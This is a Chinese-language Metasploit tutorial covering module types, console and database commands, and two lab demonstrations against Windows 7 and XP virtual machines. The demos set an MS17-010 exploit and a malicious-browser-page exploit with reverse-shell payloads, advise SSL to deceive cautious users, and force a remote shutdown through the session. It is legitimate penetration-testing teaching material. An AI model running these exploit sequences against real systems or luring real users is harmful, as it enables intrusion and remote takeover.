1. 程式人生 > 實用技巧 >MSF基本使用和expolit模組介紹

MSF基本使用和expolit模組介紹

MSF基本介紹

目前最流行、最強大、最具擴充套件性的滲透測試平臺軟體

2003年由HDMore釋出第一版,2007年用ruby語言重寫,MSF預設整合在KaliLinux之中

Kali左側有MSF的快捷方式,可以直接點選使用,也可以在終端輸入msfconsole啟動MSF

msfdb

用來管理MSF的資料庫的命令

msfdb init # start and initialize the database 
msfdb reinit # delete and reinitialize the database 
msfdb delete # delete database and stop using
it msfdb start # start the database msfdb stop # stop the database msfdb status # check service status msfdb run # start the database and run msfconsole

MSF架構-技術功能模組

MSF預設存放模組的目錄:/usr/share/metasploit-framework/modules/

MSF有6個模組,分別對上面目錄下的6個子資料夾:

auxiliary

負責執行資訊收集、掃描、嗅探、指紋識別、口令猜測和Dos攻擊等功能的輔助模組

exploits

利用系統漏洞進行攻擊的動作,此模組對應每一個具體漏洞的攻擊方法(主動、被動)

payloads

成功exploit之後,真正在目標系統執行的程式碼或指令。分為3種類型的payload,分別是single、stages和stagers。shellcode是特殊的payload,用於拿shell。

    • single:all-in-one。完整的payload,這些payload都是一體化的,不需要依賴外部的庫和包。
    • stagers:目標計算機記憶體有限時,先傳輸一個較小的payload用於建立連線
    • stages:利用stagers建立的連線下載後續payload

encoders

對payload進行加密,躲避AntiVirus檢查的模組

nops

提高payload穩定性及維持大小。在滲透攻擊構造惡意資料緩衝區時,常常要在真正要執行的Shellcode之前新增一段空指令區, 這樣當觸發滲透攻擊後跳轉執行ShellCode時,有一個較大的安全著陸區,從而避免受到記憶體 地址隨機化、返回地址計算偏差等原因造成的ShellCode執行失敗,提高滲透攻擊的可靠性。

post

後期滲透模組。在取得目標系統遠端控制權後,進行一系列的後滲透攻擊動作,如獲取敏感資訊、跳板攻擊等操作 。

基本使用

Kali中更新MSF :apt update aptinstallmetasploit-framework

msfconsole

控制檯命令支援TAB補全,支援外部命令的執行(系統命令)

  • help或?
    • 顯示msfconsole可以使用的命令。help <command>,顯示某一命令的用法。
  • connect
    • 可以理解成MSF中的nc命令,可以使用connect -h檢視詳細用法。
    • connect [options] <host> <port>
  • show
    • 用show命令檢視msf提供的資源。在根目錄下執行的話,由於有些模組資源比較多,需要執行show命令要較長的時間
    • show exploits:檢視可以使用的exploit
    • 除了exploits,還支援all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options。有些選項需要用use使用一個模組後才能使用,比如給showtargets。
  • search
    • 搜尋模組
    • 簡單搜尋:seachms17_010
    • 多條件搜尋縮小範圍:search name:mysql type:exploit platform:linux
  • info
    • 檢視模組的資訊
    • info <module name>
    • 如果用use使用了一個模組,直接輸入info即可檢視
  • use
    • search找到模組後,用use使用模組
    • use exploit/windows/smb/ms08_067_netapi
    • 用use使用一個模組後,可以使用 show options檢視我們需要配置的選項、使用showtargets選擇目標主機系統、使用showpayloads選擇payload、使用showadvanced檢視高階引數、使用showevasion檢視用來做混淆、逃避的模組。
    • set/setg
      • 設定引數,比如要滲透的主機IP、payload等。我們可以用show missing檢視沒有設定的引數
      • setg是設定全域性變數,避免每個模組都要輸入相同的引數
    • unset/unsetg:
      • 取消設定引數。unsetg是取消設定的全域性變數
    • save
      • 設定的引數在下一次啟動的時候不會生效,可以用save儲存我們使用過程的設定。
    • check
      • 檢查目標是否真的存在這個漏洞,大部分模組沒有check功能
    • back
      • 回到msfconsole根目錄
  • run或exploit
    • 開始使用模組
    • exploit -j:以後臺的方式執行
  • sessions
    • 檢視當前已經建立的sessions,說明已經拿到了shell
    • sessions -i id 可以進入一個session互動
  • load/unload
    • 呼叫外部的掃描命令,比如openvas
  • loadpath
    • 載入自己的模組
  • route
    • 新增一條路由。比如發往某個子網的流量都通過攻陷的機器傳送。

msf資料庫相關

db_status

    • 檢視MSF有沒有連線上後臺資料庫。如果沒有連上資料庫,在終端輸入msfdb start後再啟動MSF。沒有連線上資料庫MSF也是可以使用的,只是連線上了的話,我們滲透過程中獲取的一些資訊可以儲存下來,比如目標機器的賬號密碼資訊等。

db_rebuild_cache

    • 這個命令將所有模組資訊快取到資料庫中,通過資料庫檢索效率就高很多了。

db_disconnect

    • 斷開資料庫連線。

db_connect

    • msf預設連上postgresql的msf資料庫。可以用db_connect連線我們指定的資料庫。如果要使用配置檔案進行連線,預設的資料庫配置檔案為/usr/share/metasploit-framework/config/database.yml,可以參考這個檔案進行編寫。

db_nmap

    • 整合在msf中的namp掃描命令。不同的是db_nmap掃描的結果會自動儲存到資料庫中。
    • 可以輸入hosts檢視掃描到的主機資訊
    • 如果資料多,可以用 hosts IP 進行過濾;hosts -u 檢視up狀態的機器;使用 hosts -c 列名[,列名] 指定要看的列;使用 hosts -S 進行搜尋,比如hosts -S windows。
    • 輸入services可以檢視主機開放的埠情況

creds:

    • 檢視掃描出來的密碼資訊

vulns:

    • 檢視掃描出來的漏洞資訊

loot

    • 有些賬號密碼我們可能沒有獲取到明文資訊,可是經過加密的hash值,可以用這個顯示

db_export/db_import

    • 資料庫的匯入和匯出
    • db_export -f /root/msfbak.xml
    • nmap匯出的也可以匯入到msf中
    • nmap -A 192.168.1.113 -oX nmap.xml => db_import -f /root/nmap.xml

Exploit模組

分為Active Exploit和Passive Exploit

Active Exploit

目標提供了某種服務,服務存在漏洞

    • useexploit/windows/smb/ms17_010_psexec
    • set RHOST 192.168.1.100
    • set PAYLOAD windows/shell/reverse_tcp
    • set LHOST 192.168.1.1
    • set LPORT 4444
    • set SMBUSER user1
    • set SMBPASS pass1
    • exploit

Passive Exploit

被攻擊者通常不開放埠或開放埠上的服務沒有漏洞,漏洞存在於受害者機器上的客戶端軟體上。客戶端需要訪問某些遠端伺服器上的服務,當它訪問的時候,當在伺服器上放置了漏洞利用程式碼,由於客戶端程式存在漏洞,伺服器也會將這些漏洞利用程式碼作為響應報文返回給客戶端,造成客戶端漏洞被利用。

    • useexploit/windows/browser/ms07_017_ani_loadimage_chunksize
    • setURIPATH /
    • set PAYLOADwindows/shell/reverse_tcp
    • set LHOST 192.168.1.1
    • set PORT 4444
    • exploit

Active Exploit演示

實驗機器

    • 受害者:Windows 7 旗艦版 6.1.7601 Service Pack 1 Build 7601,關閉Windows7防火牆。IP地址為192.168.171.133
    • 攻擊者:Kali 4.18.0。IP地址為192.168.171.129

Kali上啟動MSF,可以先啟動postgresql資料庫,防止後面MSF連不上資料庫

service postgresql start

我們利用exploit/windows/smb/ms17_010_psexec進行攻擊,由於它是基於SMB協議的,我們需要知道目標系統的一個使用者賬號和密碼,適合在已經知道目標系統賬號密碼並開放SMB埠的情況下進行攻擊。

然後設定受害者的IP地址,賬號和密碼,並設定payload為windows/shell/reverse_tcp。這是一個反彈連線,我們還需要設定目標反彈連線時的IP地址和埠。

然後輸入exploit執行,可以看到已經建立了一個session

通過session -l可以檢視已經建立的會話

根據上面的Id,我們可以sessions -i 1進入這個shell

檢視一下目標的機器IP

可以看到上面有很多亂碼,在Kali的終端中,我們可以設定shell中字元的編碼

這時候就不會是亂碼了

Passive Exploit演示

實驗機器

    • 受害者:Windows XPSP2 professional。IP地址為192.168.171.135
    • 攻擊者:Kali 4.18.0。IP地址為192.168.171.129

開啟XP的防火牆


這時候用Active的方式進行攻擊不會成功,採用Passive方式,構造一個連結,誘使被害者連線,利用瀏覽器的漏洞。

我們要偽造一個網站,誘使受害者攻擊。SRVHOST可以指定為本機的IP地址,我們也可以開啟SSL和設定SSL的證書,迷惑有安全意識的使用者。

URIPATH是訪問的URL地址,可以手動指定,比如192.168.171.129/service,這裡我們預設設定為根目錄即可。

然後輸入exploit

它不會主動向受害者的機器傳送利用程式碼,而是偽造了一個存在漏洞利用程式碼的WEB站點,這個站點等待IE版本存在漏洞的使用者去訪問它,將exploit注入到瀏覽器程序中,利用瀏覽器漏洞執行payload

我們在XP機器上用IE瀏覽器訪問這個URL

Kali上已經有了一個sessions,進入這個sessions

輸入以下命令讓XP機器關機

shutdown -s -f -t 0

在XP上就會看到機器正在關機

總結

對開放的伺服器一般使用Active的方式,對客戶端程式的攻擊一般使用Passive的方式